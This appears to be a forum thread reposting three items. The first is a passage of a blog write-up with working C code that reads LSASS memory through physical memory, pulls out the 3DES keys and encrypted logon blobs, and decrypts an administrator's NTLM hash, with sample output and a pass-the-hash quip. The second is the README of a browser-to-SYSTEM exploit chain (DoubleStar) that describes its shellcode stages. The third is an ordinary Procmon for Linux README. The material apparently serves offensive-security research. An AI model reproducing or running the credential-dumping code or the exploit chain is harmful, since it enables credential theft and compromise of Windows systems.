SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &tmp, 1, &bytes_read, NULL); lsasrv[cursor] = tmp; cursor++; start = original + cursor; } lsasrv_size = cursor; // Use mimikatz signatures to find the IV/keys printf("\t\t===================[Crypto info]===================\n"); LsaInitialize_needle_buffer = (PBYTE)malloc(sizeof(LSAINITIALIZE_NEEDLE)); memcpy(LsaInitialize_needle_buffer, &LsaInitialize_needle, sizeof(LSAINITIALIZE_NEEDLE)); offset_LsaInitialize_needle = memmem((PBYTE)lsasrv, lsasrv_size, LsaInitialize_needle_buffer, sizeof(LSAINITIALIZE_NEEDLE)); printf("[*] Offset for InitializationVector/h3DesKey/hAesKey is %d\n", offset_LsaInitialize_needle); memcpy(&iv_offset, lsasrv + offset_LsaInitialize_needle + 0x43, 4); //IV offset printf("[*] IV Vector relative offset: 0x%08llx\n", iv_offset); iv_vector = (unsigned char*)malloc(16); memcpy(iv_vector, lsasrv + offset_LsaInitialize_needle + 0x43 + 4 + iv_offset, 16); printf("\t\t[/!\\] IV Vector: "); for (int i = 0; i < 16; i++) { printf("%02x", iv_vector[i]); } printf(" [/!\\]\n"); free(iv_vector); memcpy(&hDes_offset, lsasrv + offset_LsaInitialize_needle - 0x59, 4); //DES KEY offset printf("[*] 3DES Handle Key relative offset: 0x%08llx\n", hDes_offset); reader.QuadPart = v2p(original + offset_LsaInitialize_needle - 0x59 + 4 + hDes_offset); DES_pointer = readPhysMemPointer(reader); printf("[*] 3DES Handle Key pointer: 0x%08llx\n", DES_pointer); reader.QuadPart = v2p(DES_pointer); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &h3DesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY), &bytes_read, NULL); reader.QuadPart = v2p((ULONGLONG)h3DesKey.key); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &extracted3DesKey, sizeof(KIWI_BCRYPT_KEY81), &bytes_read, NULL); DES_key = (unsigned char*)malloc(extracted3DesKey.hardkey.cbSecret); memcpy(DES_key, extracted3DesKey.hardkey.data, extracted3DesKey.hardkey.cbSecret); printf("\t\t[/!\\] 3DES Key: "); for (int i = 0; i < extracted3DesKey.hardkey.cbSecret; i++) { printf("%02x", DES_key[i]); } printf(" [/!\\]\n"); free(DES_key); printf("\t\t================================================\n"); needle_buffer = (PBYTE)malloc(sizeof(LOGONSESSIONLIST_NEEDLE)); memcpy(needle_buffer, &LogonSessionList_needle, sizeof(LOGONSESSIONLIST_NEEDLE)); offset_LogonSessionList_needle = memmem((PBYTE)lsasrv, lsasrv_size, needle_buffer, sizeof(LOGONSESSIONLIST_NEEDLE)); memcpy(&LogonSessionList_offset, lsasrv + offset_LogonSessionList_needle + 0x17, 4); printf("[*] LogonSessionList Relative Offset: 0x%08llx\n", LogonSessionList_offset); LogonSessionList = original + offset_LogonSessionList_needle + 0x17 + 4 + LogonSessionList_offset; printf("[*] LogonSessionList: 0x%08llx\n", LogonSessionList); reader.QuadPart = v2p(LogonSessionList); printf("\t\t===================[LogonSessionList]==================="); while (currentElem != LogonSessionList) { if (currentElem == 0) { currentElem = LogonSessionList; } reader.QuadPart = v2p(currentElem); currentElem = readPhysMemPointer(reader); //printf("Element at: 0x%08llx\n", currentElem); USHORT length = 0; LPWSTR username = NULL; ULONGLONG username_pointer = 0; reader.QuadPart = v2p(currentElem + 0x90); //UNICODE_STRING = USHORT LENGHT USHORT MAXLENGTH LPWSTR BUFFER result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &length, 2, &bytes_read, NULL); //Read Lenght Field username = (LPWSTR)malloc(length + 2); memset(username, 0, length + 2); reader.QuadPart = v2p(currentElem + 0x98); username_pointer = readPhysMemPointer(reader); //Read LPWSTR reader.QuadPart = v2p(username_pointer); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, username, length, &bytes_read, NULL); //Read string at LPWSTR wprintf(L"\n[+] Username: %s \n", username); free(username); ULONGLONG credentials_pointer = 0; reader.QuadPart = v2p(currentElem + 0x108); credentials_pointer = readPhysMemPointer(reader); if (credentials_pointer == 0) { printf("[+] Cryptoblob: (empty)\n"); continue; } printf("[*] Credentials Pointer: 0x%08llx\n", credentials_pointer); ULONGLONG primaryCredentials_pointer = 0; reader.QuadPart = v2p(credentials_pointer + 0x10); primaryCredentials_pointer = readPhysMemPointer(reader); printf("[*] Primary credentials Pointer: 0x%08llx\n", primaryCredentials_pointer); USHORT cryptoblob_size = 0; reader.QuadPart = v2p(primaryCredentials_pointer + 0x18); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &cryptoblob_size, 4, &bytes_read, NULL); if (cryptoblob_size % 8 != 0) { printf("[*] Cryptoblob size: (not compatible with 3DEs, skipping...)\n"); continue; } printf("[*] Cryptoblob size: 0x%x\n", cryptoblob_size); ULONGLONG cryptoblob_pointer = 0; reader.QuadPart = v2p(primaryCredentials_pointer + 0x20); cryptoblob_pointer = readPhysMemPointer(reader); //printf("Cryptoblob pointer: 0x%08llx\n", cryptoblob_pointer); unsigned char* cryptoblob = (unsigned char*)malloc(cryptoblob_size); reader.QuadPart = v2p(cryptoblob_pointer); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, cryptoblob, cryptoblob_size, &bytes_read, NULL); printf("[+] Cryptoblob:\n"); for (int i = 0; i < cryptoblob_size; i++) { printf("%02x", cryptoblob[i]); } printf("\n"); } printf("\t\t================================================\n"); free(needle_buffer); free(lsasrv); } If you wonder why I am not calling windows API to decrypt the info… It was 4:00 AM when we wrote this . Anyway, fire in the hole! [!] LsaSrv.dll found! [0x7ff845130000-0x7ff8452ce000] (1695744 bytes) ===================[Crypto info]=================== [*] Offset for InitializationVector/h3DesKey/hAesKey is 305033 [*] IV Vector relative offset: 0x0013be98 [/!\] IV Vector: d2e23014c6608529132d0f21144ee0df [/!\] [*] 3DES Handle Key relative offset: 0x0013bf4c [*] 3DES Handle Key pointer: 0x1d4d3610000 [/!\] 3DES Key: 46bca8b85491846f5c7fb42700287d0437c49c15e7b76280 [/!\] ================================================ [*] LogonSessionList Relative Offset: 0x0012b0f1 [*] LogonSessionList: 0x7ff8452b52a0 ===================[LogonSessionList]=================== [+] Username: Administrador [*] Credentials Pointer: 0x1d4d3ba96c0 [*] Primary credentials Pointer: 0x1d4d3ae49f0 [*] Cryptoblob size: 0x1b0 [+] Cryptoblob: f0e368d8302af9bbcd247687552e8207d766e674c99a61907e78a173d5e4d475df165ec1fcba3b5d3463f8bd7ce5fa6457d043147dcf26a6e03ec12d1216d57953a7f4cbdcaeec2c6a27787c332db706a5287a77957d09d546590d7f32a117f69d983290c01b1ad83cf66916ee76314c17605518a17d7ea9db2de530b1298e5178fcc638e1ae106542dcb46e37a09943dd10e3e2f15a99b93989361aa3a6e6ed8e98aab5578712bcf0f9e5a5372542f61a9032bf5d110278253c4f602107a02bf2cfe07fae7f81a4dee6440a596278e7c06eee06de5aa7f705bd6132dea0327ad869eca5da1538e098edfefcd050dd6e36a0a3196cdf5ee6786d0b62a3d526981f6c4fc503d43238887cf6f3c51cca01b912194242d7e5a76522aaf791c467ea6035a06219ea2aafc2860e6db56ddb77936871316e3f18fd9b1425f948c925171829e460cf7c31f9a0396705bcb1bfd0055b25de160cf816472180270f36e9224868d1377349f7bb001e7edfe52dbd1915a70fb686f850086732c57ba26423f7a3691ddb9b23b5f2166a56ee82d30571ffb79b222e707f6dc2cc5f986723d99229345b2d0b97371abb1573f59efecd6a Let’s decrypt with python (yeah, we know, we are the worst ) >>> from pyDes import * >>> k = triple_des("46bca8b85491846f5c7fb42700287d0437c49c15e7b76280".decode("hex"), CBC, "\x00\x0d\x56\x99\x63\x93\x95\xd0") >>> k.decrypt("f0e368d8302af9bbcd247687552e8207d766e674c99a61907e78a173d5e4d475df165ec1fcba3b5d3463f8bd7ce5fa6457d043147dcf26a6e03ec12d1216d57953a7f4cbdcaeec2c6a27787c332db706a5287a77957d09d546590d7f32a117f69d983290c01b1ad83cf66916ee76314c17605518a17d7ea9db2de530b1298e5178fcc638e1ae106542dcb46e37a09943dd10e3e2f15a99b93989361aa3a6e6ed8e98aab5578712bcf0f9e5a5372542f61a9032bf5d110278253c4f602107a02bf2cfe07fae7f81a4dee6440a596278e7c06eee06de5aa7f705bd6132dea0327ad869eca5da1538e098edfefcd050dd6e36a0a3196cdf5ee6786d0b62a3d526981f6c4fc503d43238887cf6f3c51cca01b912194242d7e5a76522aaf791c467ea6035a06219ea2aafc2860e6db56ddb77936871316e3f18fd9b1425f948c925171829e460cf7c31f9a0396705bcb1bfd0055b25de160cf816472180270f36e9224868d1377349f7bb001e7edfe52dbd1915a70fb686f850086732c57ba26423f7a3691ddb9b23b5f2166a56ee82d30571ffb79b222e707f6dc2cc5f986723d99229345b2d0b97371abb1573f59efecd6a".decode("hex"))[74:90].encode("hex") '191d643eca7a6b94a3b6df1469ba2846' We can check that effectively the Administrador’s NTLM hash is 191d643eca7a6b94a3b6df1469ba2846: C:\Windows\system32>C:\Users\ortiga.japonesa\Downloads\mimikatz-master\mimikatz-master\x64\mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 May 8 2021 00:30:53 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # sekurlsa::msv [!] LogonSessionListCount: 0x7ff8452b4be0 [!] LogonSessionList: 0x7ff8452b52a0 [!] Data Address: 0x1d4d3bfb5c0 Authentication Id : 0 ; 120327884 (00000000:072c0ecc) Session : CachedInteractive from 1 User Name : Administrador Domain : ACUARIO Logon Server : WIN-UQ1FE7E6SES Logon Time : 08/05/2021 0:44:32 SID : S-1-5-21-3039666266-3544201716-3988606543-500 msv : [00000003] Primary * Username : Administrador * Domain : ACUARIO * NTLM : 191d643eca7a6b94a3b6df1469ba2846 * SHA1 : 5f041d6e1d3d0b3f59d85fa7ff60a14ae1a5963d * DPAPI : b4772e37b9a6a10785ea20641c59e5b2 MMmm… that PtH smell… EoF Playing with Windows Internals and reading Mimikatz code is a nice exercise to learn and practice new things. As we said at the begin, probably this approach is not the best (our knowledge on this topic is limited), so if you spot errors/misconceptions/typos please contact us so we can fix it. The code can be found in our repo as SnoopyOwl. We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC. updated_at 08-05-2021 Sursa: https://adepts.of0x.cc/physical-graffiti-lsass/
-
________ ___. .__ _________ __ \______ \ ____ __ __\_ |__ | | ____ / _____/_/ |_ _____ _______ | | \ / _ \ | | \| __ \ | | _/ __ \ \_____ \ \ __\\__ \ \_ __ \ | ` \( <_> )| | /| \_\ \| |__\ ___/ / \ | | / __ \_| | \/ /_______ / \____/ |____/ |___ /|____/ \___ > /_______ / |__| (____ /|__| \/ \/ \/ \/ \/ Windows 8.1 IE/Firefox RCE -> Sandbox Escape -> SYSTEM EoP Exploit Chain ______________ | Remote PAC | |____________| ^ | HTTPS _______________ RPC/ALPC _______________ RPC/ALPC _______________ | firefox.exe | ----------> | svchost.exe | -----------> | spoolsv.exe | |_____________| |_____________| <----------- |_____________| | RPC/Pipe | _______________ | | malware.exe | <---| Execute impersonating NT AUTHORY\SYSTEM |_____________| ~ Usage To run this exploit chain, download the full release/folder structure to an unpatched Windows 8.1 x64 machine and load either of these two .html files while connected to the internet: - CVE-2019-17026\Forrest_Orr_CVE-2019-17026_64-bit.html - via Firefox v65-69 64-bit. - CVE-2020-0674\Forrest_Orr_CVE-2020-0674_64-bit.html - via Internet Explorer 11 64-bit (Enhanced Protected Mode enabled). The initial RCE may be run through either IE or FF, and will result in the execution of a cmd.exe process to your user session with NT AUTHORY\SYSTEM privileges. The individual exploits have been successfully tested in the following context: - CVE-2020-0674 - IE8 64-bit and WPAD on Windows 7 x64, IE11 64-bit and WPAD on Windows 8.1 x64. - CVE-2019-17026 - Firefox 65-69 (64-bit) on Windows 7, 8.1 and 10 x64. Note that while the individual exploits themselves may work on multiple versions of Windows, the full chain will only work on Windows 8.1. ~ Overview While this exploit chain makes use of two (now patched) 0day exploits, it also contains a sandbox escape and EoP technique which are still as of 5/4/2021 not patched, and remain feasible for integration into future attacka chains today. The Darkhotel APT group (believed to originate from South Korea) launched a campaign againt Chinese and Japanese business executives and government officials through a combination of spear phishing and hacking of luxury hotel networks in early 2020. The exploits they used (CVE-2020-0674 and CVE-2019-17026, together dubbed "Double Star") were slight 0day variations of old/existing exploits from 2019: specifically UAF bugs in the legacy JavaScript engine (jscript.dll) and aliasing bugs in the Firefox IonMonkey engine. What made the use of these 0day interesting went beyond their ability to achieve RCE through the Internet Explorer and Firefox web browsers: CVE-2020-0674 in particular (a UAF in the legacy jscript.dll engine) is exploitable in any process in which legacy JS code can be executed via jscript.dll. In late 2017, Google Project Zero released a blog post entitled "aPAColypse now: Exploiting Windows 10 in a Local Network with WPAD/PAC and JScript" [1]. This research brought to light a very interesting attack vector which (at the time) affected all versions of Windows from 7 onward: the WPAD service (or "WinHTTP Web Proxy Auto-Discovery Service") contains an ancient functionality for updating proxy configurations via a "PAC" file. Any user which can speak to the WPAD service (running within an svchost.exe process as LOCAL SERVICE) over RPC can coerce it into downloading a PAC file from a remote URL containing JS code which is responsible for setting the correct proxy configuration for a user supplied URL. Most notably, the legacy jscript.dll engine is used to parse these PAC files. This opened up an attack vector wherein any process (regardless of limited user privileges or even sandboxing) could connect to the local WPAD service over ALPC and coerce it into downloading a malicious PAC file containing a jscript.dll exploit from a remote URL. This would result in code execution in the context of LOCAL SERVICE. Darkhotel took this concept and used it as their sandbox escape after they obtained RCE via Firefox or Internet Explorer. The next step in their attack chain is unclear: it appears that they somehow elevated their privileges from LOCAL SERVICE to SYSTEM and proceeded to execute their malware from this context. In all of the analysis of the Darkhotel Double Star attack chain, I was not able to find a detailed explanation of how they achieved this, however it is safe to assume that their technique need not have been a 0day exploit. Processes launched by the LOCAL SERVICE account are provided with the SeImpersonate privilege by default and thus can elevate their security context in the event they can coerce a privileged connection to themselves via named pipes or ALPC. It is likely that the Darkhotel APT group used Rotten Potato for their EoP from LOCAL SERVICE, as this was the simplest and most common technique in widespread use several years ago (as well as the technique used in the Google Project Zero "aPAColypse now" research, however I settled on a more robust/modern technique instead: named pipe impersonation of a coerced RPC connection from the Print Spooler [2]. This technique combined an old RPC interface popular among Red Teamers for TGT harvesting in environments with unconstrained delegation enabled (aka the "Printer Bug") with an impersonation/Rotten Potato style attack adapted for local privilege escalation. Additionally, rather than targeting Windows 7, I decided to focus on Windows 8.1 due to the challenge presented by its enhanced security mitigations such as non-deterministic LFH, high entropy ASLR and Control Flow Guard (CFG). ~ CVE-2020-0674 Malicious PAC file containing CVE-2020-0674 UAF exploit - downloaded into the WPAD service svchost.exe (LOCAL SERVICE) via RPC trigger. Contains stage three shellcode (Spool Potato EoP). This exploit may serve a dual purpose as an initial RCE attack vector through IE11 64-bit aas well. _______________ RPC _______________ CVE-2020-0674 ________________ | firefox.exe | -----> | svchost.exe | ---------------> | Spool Potato | |_____________| |_____________| | shellcode | |______________| ~ CVE-2019-17026 Firefox 64-bit IonMonkey JIT/Type Confusion RCE. Represents the initial attack vector when a user visits an infected web page with a vulnerable version of Firefox. This component contains a stage one (egg hunter) and stage two (WPAD sandbox escape) shellcode, the latter of which is only effective on Windows 8.1 due to hardcoded RPC IDL interface details for WPAD. _______________ JIT spray ______________ DEP bypass _______________________ | firefox.exe | -----------> | Egg hunter | ------------> | WPAD sandbox escape | |_____________| | shellcode | | shellcode (heap) | |____________| |_____________________| ~ Payloads This exploit chain has three shellcode payloads, found within this repository under Payloads\Compiled\JS in their JavaScript encoded shellcode form: - Stage one: egg hunter shellcode (ASM). - Stage two: WPAD sandbox escape shellcode (C DLL, sRDI to shellcode). - Stage three: Spool Potato privilege escalation shellcode (C DLL, sRDI to shellcode). When IE is used as the initial RCE attack vector, only the stage two and three shellcodes are needed. When FF is used as the initial RCE attack vector, all three are used. I've also included several additional shellcodes for testing purposes (a MessageBoxA and WinExec shellcode). Note when using these that in the case of Firefox CVE-2019-17026, the shellcode should be represented as a Uint8Array prefixed by the following egg QWORD: 0x8877665544332211. In the case of CVE-2020-0674, the shellcode should be represented as a DWORD array. Also note that when using a WinExec or MessageBoxA payload in conjunction with Firefox CVE-2019-17026, you must adjust the sandbox content level in the "about:config" down to 2 first. ~ Credits maxpl0it - for writing the initial analysis and PoC for CVE-2019-17026 with a focus on the Linux OS, and for writing the initial analysis and PoC for CVE-2020-0674 with a focus on IE8/11 on Windows 7 x64. 0vercl0k - for documenting IonMonkey internals in relation to aliasing and the GVN. HackSys Team - for tips on the WPAD service and low level JS debugging. itm4n - for the original research on combining the RPC printer bug with named pipe impersonation. ~ Links [1] https://googleprojectzero.blogspot.com/2017/12/apacolypse-now-exploiting-windows-10-in_18.html [2] https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/ Sursa: https://github.com/forrest-orr/DoubleStar
-
Process Monitor for Linux (Preview) Process Monitor (Procmon) is a Linux reimagining of the classic Procmon tool from the Sysinternals suite of tools for Windows. Procmon provides a convenient and efficient way for Linux developers to trace the syscall activity on the system. Installation & Usage Requirements OS: Ubuntu 18.04 lts cmake >= 3.14 (build-time only) libsqlite3-dev >= 3.22 (build-time only) Install Procmon Checkout our install instructions for distribution specific steps to install Procmon. Building Procmon from source 1. Install build dependencies sudo apt-get -y install bison build-essential flex git libedit-dev \ libllvm6.0 llvm-6.0-dev libclang-6.0-dev python zlib1g-dev libelf-dev 2. Build Procmon git clone https://github.com/Microsoft/Procmon-for-Linux cd Procmon-for-Linux mkdir build cd build cmake .. make Building Procmon Packages The distribution packages for Procmon for Linux are constructed utilizing cpack. To build a deb package of Procmon on Ubuntu simply run: cd build cpack .. Usage Usage: procmon [OPTIONS] OPTIONS -h/--help Prints this help screen -p/--pids Comma separated list of process ids to monitor -e/--events Comma separated list of system calls to monitor -c/--collect [FILEPATH] Option to start Procmon in a headless mode -f/--file FILEPATH Open a Procmon trace file Examples The following traces all processes and syscalls on the system sudo procmon The following traces processes with process id 10 and 20 sudo procmon -p 10,20 The following traces process 20 only syscalls read, write and openat sudo procmon -p 20 -e read,write,openat The following traces process 35 and opens Procmon in headless mode to output all captured events to file procmon.db sudo procmon -p 35 -c procmon.db The following opens a Procmon tracefile, procmon.db, within the Procmon TUI sudo procmon -f procmon.db Feedback Ask a question on StackOverflow (tag with ProcmonForLinux) Request a new feature on GitHub Vote for popular feature requests File a bug in GitHub Issues Contributing If you are interested in fixing issues and contributing directly to the code base, please see the document How to Contribute, which covers the following: How to build and run from source The development workflow, including debugging and running tests Coding Guidelines Submitting pull requests Please see also our Code of Conduct. License Copyright (c) Microsoft Corporation. All rights reserved. Licensed under the MIT License. Sursa: https://github.com/Sysinternals/ProcMon-for-Linux/